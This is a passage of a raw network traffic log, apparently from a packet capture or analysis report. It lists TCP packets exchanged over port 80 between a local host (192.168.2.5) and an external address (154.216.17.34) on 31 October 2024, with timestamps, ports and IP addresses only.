Oct 31, 2024 02:09:14.668626070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668637991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668677092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668685913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668690920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668703079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668715954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668742895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668765068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668823957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668833017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668843031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668855906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668868065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.668878078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.668905973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.669220924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.669253111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.669264078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.669269085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.669294119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691375017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691387892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691430092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691487074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691503048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691514015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691541910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691560030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691612959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691625118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691668034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691677094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691688061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691730022 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691823959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691836119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691873074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691934109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691945076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691961050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691972971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.691987991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.691998959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.692009926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.692022085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.692035913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.692044020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.692053080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.692065001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.692065954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.692065954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.692075968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.692086935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.692106009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.692128897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.715449095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.715461969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.715471983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.715519905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.715549946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.715594053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.715606928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.715616941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.715639114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.715650082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.718805075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718846083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718856096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718877077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718894005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718904018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718921900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.718949080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.718986034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.718996048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719038010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719228029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719237089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719247103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719259024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719274998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719283104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719288111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719297886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719300985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719326973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719345093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719353914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719366074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719367981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719386101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719394922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719396114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719405890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719413996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719439983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719441891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719453096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719466925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719499111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719691992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719707012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719718933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719750881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719757080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719758034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719777107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719789028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719799042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719810009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719821930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719827890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719832897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719835043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719871998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719883919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719896078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719904900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.719933987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.719945908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.720743895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720767021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720778942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720794916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.720803976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.720833063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.720859051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720875978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720886946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720899105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720927000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.720935106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.720949888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720963001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720977068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.720990896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721000910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721023083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721049070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721054077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721065998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721076965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721088886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721100092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721110106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721112013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721137047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721147060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721240997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721254110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721263885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721276045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721292973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721292973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721303940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721313953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721314907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721322060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721334934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721338034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721345901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721353054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721357107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721375942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.721384048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721400976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.721427917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.756536007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.756889105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.756906033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.756953955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.756969929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.756977081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.756979942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757005930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757018089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757025957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757025957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757036924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757047892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757057905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757061958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757076025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757081985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757091999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757097960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757102966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757122040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757128954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757138968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757149935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757169008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757179976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757190943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757204056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757216930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757237911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757251024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757447004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757467031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757476091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757487059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.757494926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757520914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.757545948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771590948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771608114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771626949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771637917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771648884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771680117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771687984 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771701097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771709919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771712065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771723986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771723986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771752119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771780968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771934032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771945000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771955967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771969080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771981955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.771987915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.771994114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772027016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772047043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772057056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772067070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772079945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772083998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772083998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772090912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772103071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772113085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772128105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772134066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772152901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772181034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772193909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772233009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772247076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772258997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772269964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772301912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772315979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772327900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772337914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772349119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772361040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772372961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772394896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772408962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772447109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772447109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772454977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772465944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772475004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772492886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772501945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772504091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772516966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772535086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772543907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772547960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772547960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772569895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772584915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772588968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772593975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.772613049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.772639990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783328056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783395052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783406019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783416986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783427954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783440113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783452034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783463955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783473969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783478975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783490896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783503056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783539057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783539057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783546925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783546925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783587933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783590078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783600092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783638954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783654928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783672094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783684015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783694983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783699989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783705950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783718109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783736944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783757925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783787012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783797979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783807993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783818960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783833027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783863068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783871889 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783876896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783889055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783905029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783919096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783926964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783951044 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783974886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.783981085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.783993959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784003973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784034014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784041882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784054995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784084082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784104109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784115076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784167051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784168959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784178019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784188986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784200907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784212112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784212112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784229994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784259081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.784905910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784917116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784926891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784957886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.784962893 CET	49982	80	192.168.2.5	154.216.17.34
